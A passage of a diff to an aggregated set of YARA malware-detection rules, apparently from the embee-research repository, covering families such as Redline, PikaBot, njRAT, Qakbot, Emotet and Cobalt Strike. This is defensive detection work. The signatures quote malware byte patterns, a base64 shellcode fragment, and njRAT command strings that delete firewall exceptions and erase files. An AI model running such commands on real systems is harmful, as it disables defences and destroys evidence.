"40f07bdfb74e61fe7d7973bcd4167ffefcff2f8ba2ed6f82e9fcb5a295aaf113" - logic_hash = "0bdbf5715e3873d96c88a24ba08487af2b798d26cdcd3e35d783ce4828dae775" - score = 75 - quality = 75 - tags = "" - - strings: - $s1 = {03 1F 72 2E ?? 03 1F 73 2E ?? 03 1F 74 2E ?? 03 1F 75 2E ?? 03 1F 76 2E ?? } - $s2 = {0B 14 0C 16 0D 16 13 ?? 16 13 ?? 14} - - condition: - dotnet.is_dotnet and ( all of ( $s* ) ) -} - -rule EMBEERESEARCH_Win_Agent_Tesla_Bytecodes_Sep_2023 -{ - meta: - description = "No description has been set in the source file - EmbeeResearch" - author = "Matthew @embee_research" - id = "9d1c5010-7c64-5a6a-bf60-35c042732761" - date = "2023-09-21" - modified = "2023-09-21" - reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_agent_tesla_bytecodes_sep_2023.yar#L4-L21" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_pikabot_resource_entropy_oct_2023.yar#L5-L40" license_url = "N/A" - hash = "ce696cf7a6111f5e7c6781854de04ddc262b6c9b39c059fd5435dfb3b8901f04" - hash = "afc29232c4989587db2c54b7c9f145fd0d73537e045ece15338582ede5389fce" - hash = "fba4374163ba25c9dc572f1a5d7f3e46e09531ab964d808f3dde2a19c05a2ee5" - logic_hash = "1cc40ab16dfa5245b3146e4512509037f540d59e155040a2336a97cd0f42e612" + hash = "936247d9a0ce76bed17f03430186abb9ecafa88ef3a968cdd46c5b0a24a5cc3f" + hash = "2c7b7c3ec8a6a835e07c8feed401460e185388f59ea5fc8aa8038d2b75815666" + hash = "00239c55d7135aa06e21ace557a3e8bf3818c2e07051c84753209e7348b6a426" + hash = "5f218eeb83c936d88b65ec3f3052d8c53f58775dacc04bedc91bd388fb7bb885" + hash = "6bea3ecd1f43bdcc261719fb732fcf27e82ed6f4b086616925291a733f358a26" + hash = "966042f3e532b6abce7d96bbdb91dc4561b32a4b0b9eec7b08b4f1024c2da916" + hash = "951c906a1fa179050d30c06849d42e49a295dd1baad91efb244b2e5486b5801d" + hash = "a06bd2623c389f2547d0bf750ca720ab7a74c90982267aad49ba31d5de345288" + hash = "aeb2bf8898636b572b0703d9ddb90b9a4c5c6db9eee631ee726ad753f197ac12" + logic_hash = "7beec034fc927990734691bd6859870921027860c0591c7a0d5a3815f919112d" score = 75 - quality = 75 + quality = 50 tags = "" strings: - $s1 = {8F ?? ?? ?? ?? 25 47 FE ?? ?? ?? FE ?? ?? ?? 91 61 D2 52 20 ?? ?? ?? ?? FE ?? ?? ?? } + $s1 = "ARROW-DOWN" wide + $s2 = "ARROW-LEFT" wide + $s3 = "ARROW-RIGHT" wide condition: - dotnet.is_dotnet and $s1 + pe.DLL and ( all of ( $s* ) ) and pe.number_of_resources > 25 and pe.sections [ 3 ] . raw_data_size > 400KB and math.entropy ( pe.sections [ 3 ] . raw_data_offset , pe.sections [ 3 ] . raw_data_size ) > 7.5 } -rule EMBEERESEARCH_Win_Medusa_Bytecodes +rule EMBEERESEARCH_Win_Stealc_Bytecodes_Oct_2023 { meta: - description = "Medusa Bytecodes" + description = "Bytecodes present in Stealc decoding routine" author = "Matthew @ Embee_Research" - id = "48b659f8-cd26-540a-89b6-6349f8d21e8f" + id = "ecac28a0-cd77-5e6a-8af2-59ea62e733bf" date = "2023-08-27" - modified = "2024-03-03" + modified = "2023-10-09" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_medusa_dotnet_bytecodes.yar#L1-L17" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_stealc_bytecodes_oct_2023.yar#L2-L21" license_url = "N/A" - hash = "a1211549b4e1a7befd953d03b4d929b3dc9f25ec6c1bc9c05ae92a0ec08fb77c" - logic_hash = "aa01afd6981af99625a9fca93e512cc00931aca18e55c5cb6dee11efb9ea2968" + hash = "74ff68245745b9d4cec9ef3c539d8da15295bdc70caa6fdb0632acdd9be4130a" + hash = "9f44a4cbc30e7a05d7eb00b531a9b3a4ada5d49ecf585b48892643a189358526" + logic_hash = "d50f57e32a7f513d92625549fcd139b7fa1e478879283fd61426fcd19d03d296" score = 75 quality = 75 tags = "" strings: - $s1 = {1F ?? 8D ?? ?? ?? 01 25 16 72 ?? ?? ?? 70 A2 25 17 72 ?? ?? ?? 70 28 ?? ?? ?? 0A A2 25 18 20 ?? ?? ?? 00 13 04 12 04 28 ?? ?? ?? 0A A2 25 19 20 ?? ?? ?? 00 13 ?? 12 } - $s2 = "\\Medusa\\obj\\Release\\Medusa.pdb" ascii + $s1 = {8b 4d f0 89 4d f8 8b 45 f8 c1 e0 03 33 d2 b9 06 00 00 00 f7 f1 8b e5 5d c2 04 00} condition: - $s1 or $s2 + ( all of ( $s* ) ) } -rule EMBEERESEARCH_Win_Berbew_Strings_Dec_2023 +rule EMBEERESEARCH_Win_Redline_Loader_Dec_2023 { meta: - description = "Strings observed in Berbew malware." + description = "Patterns observed in redline loader" author = "Matthew @ Embee_Research" - id = "402711af-c543-5c95-ae9e-e663825b6653" + id = "59d933a8-8ccd-565f-b379-e0bf6c3d3111" date = "2023-12-24" - modified = "2023-12-26" + modified = "2023-12-29" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_berbew_strings_dec_2023.yar#L1-L19" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_loader_dec_2023.yar#L1-L20" license_url = "N/A" - hash = "24dc0af3c51118697df999d8bffcdfc9cbf0d07f2630473450dd826a1ae4b9ae" - logic_hash = "a7f687e749ec69961777063d52678461a8e288c80037fac051d7b1a5b568d9e8" + hash = "" + logic_hash = "831c32f9998b97f7ceeb14df73a264a998df5f8800aaa5271755aaaeac070010" score = 75 quality = 75 tags = "" strings: - $s1 = "This KEWL STUFF was coded by V. V. PUPKIN" - $s2 = "REAL CASH, REAL BITCHEZ" - $s3 = "Please, enter your Card Number" + $s1 = {8b ?? ?? 0c 30 04 31 46 3b f7 7c ?? 5d 5b 5e 83 ?? ?? 75} + $s2 = "WritePrivateProfileStringA" + $s3 = "SetFileShortNameA" + $s4 = "- Attempt to use MSIL code from this assembly during native code initialization" condition: all of them } -rule EMBEERESEARCH_Win_Cobalt_Sleep_Encrypt : FILE +rule EMBEERESEARCH_Win_Pikabot_Loader_Bytecodes_Oct_2023 { meta: - description = "Detects Sleep Encryption Logic Found in Cobalt Strike Deployments" + description = "Detects bytecodes in recent PikaBot Loaders" author = "Matthew @ Embee_Research" - id = "6bd6fbb4-6634-5b51-90f0-f24e48d69043" - date = "2023-08-27" - modified = "2023-10-18" + id = "c15b9390-1d20-5325-81c3-c6cf59ffb21f" + date = "2023-10-03" + modified = "2023-10-08" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobalt_sleep_encrypt_aug_2023.yar#L1-L55" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_pikabot_loader_bytecodes_oct_2023.yar#L3-L24" license_url = "N/A" - hash = "26b2f12906c3590c8272b80358867944fd86b9f2cc21ee6f76f023db812e5bb1" - logic_hash = "7aa2674ecaaae819c3f26924fa0622df322b1214493f37b1bdf5e00ba5ee98e6" + hash = "778b6797bb9c9d2f868d3faaaf6b36ce3f06178c133bb592c5345c95ffb034a9" + hash = "e26d44d740b4edbd37fa6196dcc9171e49e711d8ce64f67aae36c4299e352108" + hash = "2d212cacc4767ef4383bdf462a9bb8aaf87f0b3c55b4c2f4a47c97c710ec1cd8" + logic_hash = "a078df39fda5ab6f432c4bf42fb61bdf106386d9684188189e3cea81803b3952" score = 75 quality = 75 - tags = "FILE" + tags = "" strings: - $r1_nokey = {4E 8B 04 08 B8 ?? ?? ?? ?? 41 F7 E3 41 8B C3 C1 EA 02 41 FF C3 6B D2 0D 2B C2 8A 4C 18 18 41 30 0C 38 48 8B 43 10 41 8B FB 4A 3B 7C 08 08} - $r2_nokey = {49 8B F9 4C 8B 03 B8 ?? ?? ?? ?? 41 F7 E1 41 8B C1 C1 EA 02 41 FF C1 6B D2 0D 2B C2 8A 4C 18 18 42 30 0C 07 48 FF C7 45 3B CB} + $s1 = { 8b 59 64 a1 58 00 ?? ?? 8b 8e d0 00 00 00 2b c1 2d d9 f1 3e 41 0f af da 09 46 20 a1 34 dd ?? ?? 8b d3 2b 88 a0 00 00 00 2b 0d bc ff ?? ?? 81} + $s2 = { 88 14 08 8b cb 8b 15 a0 6a ?? ?? 42 c1 e9 08 89 15 a0 6a ?? ?? 8b 46 20 2b 05 ec 6a ?? ?? 05 ae 49 08 00} + $s3 = { 03 d8 43 a1 d4 8e ?? ?? 33 18 89 1d 18 8f ?? ?? a1 d4 8e ?? ?? 8b 15 18 8f ?? ?? 89 10 8b 45 f8 83 c0 04 89 45 f8 33 c0 a3 14 8f ?? ?? a1 d4 8e ?? ?? 83 c0 04 03 05 14 8f ?? ?? a3 d4 8e ?? ?? 8b 45 f8 3b 05 e0 8e ?? ?? } condition: - ($r1_nokey or $r2_nokey ) + $s1 or $s2 or $s3 } -rule EMBEERESEARCH_Win_Redline_Payload_Dec_2023 +rule EMBEERESEARCH_Win_Orcus_Rat_Simple_Strings_Dec_2023 { meta: - description = "Patterns observed in redline" + description = "Strings observed in Orcus RAT" author = "Matthew @ Embee_Research" - id = "6208779a-69b2-55b5-9744-987575c00d96" + id = "baef6b96-bf94-5363-9186-9761a8055afd" date = "2023-12-24" - modified = "2023-12-29" + modified = "2023-12-24" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_payload_dec_2023.yar#L1-L16" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_orcus_rat_simple_strings_dec_2023.yar#L1-L26" license_url = "N/A" - hash = "5790aead07ce0b9b508392b9a2f363ef77055ae16c44231773849c87a1dd15a4" - logic_hash = "d016baa5017120a3037e9cef7fd649228f7be60e511ecbdedf97916f59eec881" + hash = "30a2a674d55d7898d304713dd2f69a043d875230ea7ebee22596ba4c640768db" + logic_hash = "2e0a44ec2749e0fc646dfb003a2d32b3fecfa07ece72ca5a65116250d80496b8" score = 75 quality = 75 tags = "" strings: - $s1 = {16 72 ?? ?? ?? 70 A2 7E ?? ?? ?? 04 17 72 ?? ?? ?? 70 7E ?? ?? ?? 04 16 9A 28 ?? ?? ?? 06 A2 7E ?? ?? ?? 04 18 72 ?? ?? ?? 70 } + $s1 = "Orcus is a Remote Administration Tool for Windows. It allows the administrator to make changes to the system remotely." wide + $s2 = "Orcus.Service" wide + $s4 = "costura.orcus" wide + $s5 = "Orcus.Commands" + $s6 = "Orcus.Shared" + $s7 = "Orcus.Utilities" + $s8 = "Orcus.StaticCommands" + $s9 = "Orcus.Plugins" condition: - all of them + (5 of them ) } -rule EMBEERESEARCH_Win_Darkgate_Xllloader_Oct_2023 +rule EMBEERESEARCH_Win_Cobalt_Strike_Loader_Shellcode_Jun_2023 : FILE { meta: - description = "Detects XLL Files Related to DarkGate" - author = "Matthew @ Embee_Research" - id = "4b5d9a2d-90ee-5452-83be-1677e1888045" - date = "2023-10-03" - modified = "2023-10-04" + description = "Detection of an encoder observed with Cobalt Strike shellcode" + author = "Matthew @ Embee_research" + id = "ea52b9e7-f2bd-5c9f-9ee1-506baa48be84" + date = "2023-07-03" + modified = "2023-07-03" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_darkgate_xll_loader_oct_2023.yar#L2-L23" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobalt_shellcode_encoder_jun_2023.yar#L1-L21" license_url = "N/A" - hash = "091b7c16791cf976e684fe22ee18a4099a4e26ec75fa145b85dd14603b466b00" - hash = "305de78353b0d599cd40a73c7e639df7f5946d1fc36691c8f7798a99ee6835e7" - hash = "98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f" - hash = "27ec297e1fc34e29963303782ff881e74f8bd4126f4c5be0c4754f745d85f79a" - hash = "392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23" - hash = "9a34b32d0a66dd4f59aeea82ef48f335913c47c6ca901ab109df702cd166892f" - logic_hash = "ea9a166550c53225b0a06e2cd86760f63aed8973e889a457470bdba3d87ce6af" + logic_hash = "42b4b9ab681f3164168de84e76bcd8161865fa9e5871d70a6de534b23896e4f0" score = 75 quality = 75 - tags = "" + tags = "FILE" + vendor = "" strings: - $s1 = "xlAutoOpen" wide ascii - $s2 = { 49 ?? ?? 4c ?? ?? 48 ?? ?? 48 ?? ?? 02 e8 ?? ?? ?? ?? 48 ?? ?? 31 ?? 48 ?? ?? 01 48 ?? ?? 41 ?? ?? ?? ?? 30 ?? 48 ?? ?? 01 49 ?? ?? 75 ?? } + $get_enc_offset = {8b 88 c0 00 00 00 8b 90 c4 00 00 00 48 8d b0 c8 00 00 00} + $decode_loop = {ac 83 e1 03 d2 c8 ff c1 aa ff ca 75 f3} + $b64_initial_bytes = "SInISIlMJAiLiMAAAACLkMQAAABIjbDIAAAA" wide ascii condition: - ( all of ( $s* ) ) + (( $get_enc_offset and $decode_loop ) or $b64_initial_bytes ) and filesize < 10000KB } -rule EMBEERESEARCH_Win_Redline_Loader_Dec_2023 +rule EMBEERESEARCH_Win_Redline_Updated_Bytecodes_Oct_2023 { meta: - description = "Patterns observed in redline loader" + description = "Configuration related bytecodes in redline .net files" author = "Matthew @ Embee_Research" - id = "59d933a8-8ccd-565f-b379-e0bf6c3d3111" - date = "2023-12-24" - modified = "2023-12-29" + id = "1e4470cf-fad3-57e5-8a95-deb97e98dbdc" + date = "2023-10-11" + modified = "2023-10-11" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_loader_dec_2023.yar#L1-L20" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_bytecodes_oct_2023.yar#L2-L35" license_url = "N/A" - hash = "" - logic_hash = "831c32f9998b97f7ceeb14df73a264a998df5f8800aaa5271755aaaeac070010" + hash = "0cc3a0f8b48ef8d8562b9cdf9c7cfe7f63faf43a5ac6dc6973dc8bf13b6c88cf" + logic_hash = "77273ba3736baf2c197fb8b17de1e22ba8f2380f73f9114f324ef56bfa508654" score = 75 quality = 75 tags = "" strings: - $s1 = {8b ?? ?? 0c 30 04 31 46 3b f7 7c ?? 5d 5b 5e 83 ?? ?? 75} - $s2 = "WritePrivateProfileStringA" - $s3 = "SetFileShortNameA" - $s4 = "- Attempt to use MSIL code from this assembly during native code initialization" + $s_1 = { + 20 ?? ?? ?? ?? // ldc.i4 + 2B 00 // br.s + 28 ?? ?? ?? 2B // Call + 80 ?? ?? ?? 04 // stsfld + (20 ?? ?? ?? ?? 2B00 28 ?? ?? ?? 2B | 72 ?? ?? ?? 70) // ldc.i4, br.s, call OR ldstr + 80 ?? ?? ?? 04 // Call + (20 ?? ?? ?? ?? 2B00 28 ?? ?? ?? 2B | 72 ?? ?? ?? 70) // ldc.i4, br.s, call OR ldstr + 80 ?? ?? ?? 04 // Call + 20 ?? ?? ?? ?? // ldc.i4 + 2B00 // br.s + 28 ?? ?? ?? 2B // Call + 80 ?? ?? ?? 04 // stsfld + 2A // ret + } + $s_2 = "mscoree.dll" condition: - all of them + $s_1 and $s_2 } -rule EMBEERESEARCH_Win_Pikabot_Loader_Bytecodes_Oct_2023 + +rule EMBEERESEARCH_Win_Njrat_Bytecodes_V2_Oct_2023 { meta: - description = "Detects bytecodes in recent PikaBot Loaders" + description = "" author = "Matthew @ Embee_Research" - id = "c15b9390-1d20-5325-81c3-c6cf59ffb21f" + id = "9090574e-7ad4-5207-af8b-7b56f2a1c917" date = "2023-10-03" modified = "2023-10-08" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_pikabot_loader_bytecodes_oct_2023.yar#L3-L24" - license_url = "N/A" - hash = "778b6797bb9c9d2f868d3faaaf6b36ce3f06178c133bb592c5345c95ffb034a9" - hash = "e26d44d740b4edbd37fa6196dcc9171e49e711d8ce64f67aae36c4299e352108" - hash = "2d212cacc4767ef4383bdf462a9bb8aaf87f0b3c55b4c2f4a47c97c710ec1cd8" - logic_hash = "a078df39fda5ab6f432c4bf42fb61bdf106386d9684188189e3cea81803b3952" - score = 75 - quality = 75 - tags = "" - - strings: - $s1 = { 8b 59 64 a1 58 00 ?? ?? 8b 8e d0 00 00 00 2b c1 2d d9 f1 3e 41 0f af da 09 46 20 a1 34 dd ?? ?? 8b d3 2b 88 a0 00 00 00 2b 0d bc ff ?? ?? 81} - $s2 = { 88 14 08 8b cb 8b 15 a0 6a ?? ?? 42 c1 e9 08 89 15 a0 6a ?? ?? 8b 46 20 2b 05 ec 6a ?? ?? 05 ae 49 08 00} - $s3 = { 03 d8 43 a1 d4 8e ?? ?? 33 18 89 1d 18 8f ?? ?? a1 d4 8e ?? ?? 8b 15 18 8f ?? ?? 89 10 8b 45 f8 83 c0 04 89 45 f8 33 c0 a3 14 8f ?? ?? a1 d4 8e ?? ?? 83 c0 04 03 05 14 8f ?? ?? a3 d4 8e ?? ?? 8b 45 f8 3b 05 e0 8e ?? ?? } - - condition: - $s1 or $s2 or $s3 -} -rule EMBEERESEARCH_Win_Stealc_Bytecodes_Oct_2023 -{ - meta: - description = "Bytecodes present in Stealc decoding routine" - author = "Matthew @ Embee_Research" - id = "ecac28a0-cd77-5e6a-8af2-59ea62e733bf" - date = "2023-08-27" - modified = "2023-10-09" - reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_stealc_bytecodes_oct_2023.yar#L2-L21" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_bytecodes_v2_oct_2023.yar#L5-L27" license_url = "N/A" - hash = "74ff68245745b9d4cec9ef3c539d8da15295bdc70caa6fdb0632acdd9be4130a" - hash = "9f44a4cbc30e7a05d7eb00b531a9b3a4ada5d49ecf585b48892643a189358526" - logic_hash = "d50f57e32a7f513d92625549fcd139b7fa1e478879283fd61426fcd19d03d296" + hash = "9877fc613035d533feda6adc6848e183bf8c8660de3a34b1acd73c75e62e2823" + hash = "40f07bdfb74e61fe7d7973bcd4167ffefcff2f8ba2ed6f82e9fcb5a295aaf113" + logic_hash = "0bdbf5715e3873d96c88a24ba08487af2b798d26cdcd3e35d783ce4828dae775" score = 75 quality = 75 tags = "" strings: - $s1 = {8b 4d f0 89 4d f8 8b 45 f8 c1 e0 03 33 d2 b9 06 00 00 00 f7 f1 8b e5 5d c2 04 00} + $s1 = {03 1F 72 2E ?? 03 1F 73 2E ?? 03 1F 74 2E ?? 03 1F 75 2E ?? 03 1F 76 2E ?? } + $s2 = {0B 14 0C 16 0D 16 13 ?? 16 13 ?? 14} condition: - ( all of ( $s* ) ) + dotnet.is_dotnet and ( all of ( $s* ) ) } rule EMBEERESEARCH_Win_Mystic_Stealer_Bytecodes_Sep_2023 { @@ -173361,84 +173337,50 @@ rule EMBEERESEARCH_Win_Mystic_Stealer_Bytecodes_Sep_2023 condition: ( all of them ) } - -rule EMBEERESEARCH_Win_Njrat_Strings_Oct_2023 -{ - meta: - description = "" - author = "Matthew @ Embee_Research" - id = "c89711cb-aae9-5409-80c2-145a8d5fca56" - date = "2023-10-03" - modified = "2023-10-03" - reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_strings_oct_2023.yar#L3-L25" - license_url = "N/A" - hash = "59d6e2958780d15131c102a93fefce6e388e81da7dc78d9c230aeb6cab7e3474" - logic_hash = "ed36a991aa2699486f1ef34f4f4d559a3dd351180602f017ad7d868e146c703b" - score = 75 - quality = 75 - tags = "" - - strings: - $s1 = "netsh firewall delete allowedprogram" wide - $s2 = "cmd.exe /c ping 0 -n 2 & del" wide - $s3 = "netsh firewall add allowedprogram" wide - $s4 = "Execute ERROR" wide - $s5 = "Update ERROR" wide - $s6 = "Download ERROR" wide - - condition: - dotnet.is_dotnet and ( all of ( $s* ) ) -} -rule EMBEERESEARCH_Win_Gracewire_Loader_Dec_2022 : FILE +rule EMBEERESEARCH_Win_Icedid_Encryption_Oct_2022 : FILE { meta: - description = "Yara rule to detect GraceWireLoader via usage of Stack Strings" + description = "No description has been set in the source file - EmbeeResearch" author = "Embee_Research @ Huntress" - id = "63d0cd9f-34f7-5ec4-8061-66d36859bd0c" - date = "2022-12-12" + id = "1ecbb3b3-dfc1-5d69-807d-3a44c39a3536" + date = "2022-10-14" modified = "2023-10-18" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_gracewire_loader_dec_2022.yar#L2-L24" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_icedid_encryption_oct_2022.yar#L1-L18" license_url = "N/A" - logic_hash = "168af6d24c0646e90717f27e6ba4a18da8e92950ffa7a881243860305037da48" + logic_hash = "da657cf87e043a1fdb2ec683de8a7a12acb8c8f1c24034bb376d525c0a1c5740" score = 75 quality = 75 tags = "FILE" strings: - $ZwAllocateVirtualMemory = {c6 44 24 48 5a c6 44 24 49 77 c6 44 24 4a 41 c6 44 24 4b 6c c6 44 24 4c 6c c6 44 24 4d 6f c6 44 24 4e 63 c6 44 24 4f 61 c6 44 24 50 74 c6 44 24 51 65 c6 44 24 52 56 c6 44 24 53 69 c6 44 24 54 72 c6 44 24 55 74 c6 44 24 56 75 c6 44 24 57 61 c6 44 24 58 6c c6 44 24 59 4d c6 44 24 5a 65 c6 44 24 5b 6d c6 44 24 5c 6f} - $LdrGetProcedureAddress = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 47 c6 44 24 54 65 c6 44 24 55 74 c6 44 24 56 50 c6 44 24 57 72 c6 44 24 58 6f c6 44 24 59 63 c6 44 24 5a 65 c6 44 24 5b 64 c6 44 24 5c 75 c6 44 24 5d 72 c6 44 24 5e 65 c6 44 24 5f 41 c6 44 24 60 64 c6 44 24 61 64 c6 44 24 62 72 c6 44 24 63 65 c6 44 24 64 73 c6 44 24 65 73 c6 44 24 66 00} - $LdrLoadDLL = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 4c c6 44 24 54 6f c6 44 24 55 61 c6 44 24 56 64 c6 44 24 57 44 c6 44 24 58 6c c6 44 24 59 6c} - $ZwFreeVirtualMemory = {c6 44 24 30 5a c6 44 24 31 77 c6 44 24 32 46 c6 44 24 33 72 c6 44 24 34 65 c6 44 24 35 65 c6 44 24 36 56 c6 44 24 37 69 c6 44 24 38 72 c6 44 24 39 74 c6 44 24 3a 75 c6 44 24 3b 61 c6 44 24 3c 6c c6 44 24 3d 4d c6 44 24 3e 65 c6 44 24 3f 6d c6 44 24 40 6f c6 44 24 41 72 c6 44 24 42 79} + $IcedID = {41 0f b6 d3 44 8d 42 01 83 e2 03 41 83 e0 03 42 8a 44 84 40 02 44 94 40 43 32 04 33 42 8b 4c 84 40 41 88 04 1b 83 e1 07 8b 44 94 40 49 ff c3 d3 c8 ff c0 89 44 94 40 83 e0 07} condition: - 3 of them + $IcedID } -rule EMBEERESEARCH_Win_Emotet_String_Patterns_Oct_2022 : FILE +rule EMBEERESEARCH_Win_Qakbot_Api_Hashing_Oct_2022 : FILE { meta: - description = "Detection of string hashing routines observed in emotet" - author = "Embee_Research @ HuntressLabs" - id = "fd9c3133-95dc-5dd8-9e94-ed85ad8e1fc7" - date = "2022-10-14" - modified = "2023-10-18" - reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_emotet_string_patterns_oct_2022.yar#L1-L19" + description = "No description has been set in the source file - EmbeeResearch" + author = "@Embee_Research" + id = "b5478404-659d-5b3a-b722-f8ba33875d8a" + date = "2022-11-14" + modified = "2022-12-01" + reference = "https://twitter.com/embee_research/status/1592067841154756610" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_api_hashing_oct_2022.yar#L2-L21" license_url = "N/A" - logic_hash = "36f4a3fed124b8c25711f706c5b4f1c9b0801c2105cf86077b8c002dd70a6fbc" + logic_hash = "595cabd508ee60c5606f965eb9a290ae21ea32af0f56e213f6ce2d2e35dc4e11" score = 75 quality = 75 tags = "FILE" + vendor = "Huntress Labs" strings: - $em1 = {45 33 f6 4c 8b d0 48 85 c0 74 64 48 8d 14 b3 4c 8b c0 45 8b de 4c 8b ca 4c 2b cb 49 83 c1 03 49 c1 e9 02 48 3b da 4d 0f 47 ce} - $em2 = {8b cd 49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00 0f b7 c1 c1 e9 10 66 c1 e8 08 4d 8d 40 08 66 41 89 40 fa 0f b6 c1 66 c1 e9 08 66 41 89 40 fc 66 41 89 48 fe 4d 3b d9} - $em3 = {49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00} - $em4 = {8b cb 41 8b d0 d3 e2 41 8b cb d3 e0 03 d0 41 0f be c1 03 d0 41 2b d0 49 ff c2 44 8b c2} + $qakbot_hashing = {0f b6 04 39 33 f0 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 41 3b ca} condition: - uint16( 0 ) == 0x5a4d and ( any of them ) + any of them } rule EMBEERESEARCH_Win_Nighthawk_Nov_2022 : FILE { @@ -173491,72 +173433,76 @@ rule EMBEERESEARCH_Win_Nighthawk_Nov_2022 : FILE condition: uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( ( ( ( 3 of ( $s* ) ) or ( 3 of ( $g* ) ) ) and ( ( 1 of ( $ror* ) ) and ( 1 of ( $gs_offset* ) ) ) ) or $shr_block ) } -rule EMBEERESEARCH_Win_Qakbot_String_Decrypt_Nov_2022 : FILE +rule EMBEERESEARCH_Win_Emotet_String_Patterns_Oct_2022 : FILE { meta: - description = "No description has been set in the source file - EmbeeResearch" - author = "Embee_Research @ Huntress" - id = "0023872f-8edb-59d6-88eb-a76528ba6ec8" - date = "2022-11-14" + description = "Detection of string hashing routines observed in emotet" + author = "Embee_Research @ HuntressLabs" + id = "fd9c3133-95dc-5dd8-9e94-ed85ad8e1fc7" + date = "2022-10-14" modified = "2023-10-18" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_string_decrypt_nov_2022.yar#L1-L15" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_emotet_string_patterns_oct_2022.yar#L1-L19" license_url = "N/A" - logic_hash = "d225f69fa4dd0e8d7c98e7f8968ad285f05b232225e9ce1070b7a23257a0ef9d" + logic_hash = "36f4a3fed124b8c25711f706c5b4f1c9b0801c2105cf86077b8c002dd70a6fbc" score = 75 quality = 75 tags = "FILE" strings: - $qakbot_decrypt = {33 d2 8b c7 f7 75 10 8a 04 1a 8b 55 fc 32 04 17 88 04 39 47 83 ee 01} + $em1 = {45 33 f6 4c 8b d0 48 85 c0 74 64 48 8d 14 b3 4c 8b c0 45 8b de 4c 8b ca 4c 2b cb 49 83 c1 03 49 c1 e9 02 48 3b da 4d 0f 47 ce} + $em2 = {8b cd 49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00 0f b7 c1 c1 e9 10 66 c1 e8 08 4d 8d 40 08 66 41 89 40 fa 0f b6 c1 66 c1 e9 08 66 41 89 40 fc 66 41 89 48 fe 4d 3b d9} + $em3 = {49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00} + $em4 = {8b cb 41 8b d0 d3 e2 41 8b cb d3 e0 03 d0 41 0f be c1 03 d0 41 2b d0 49 ff c2 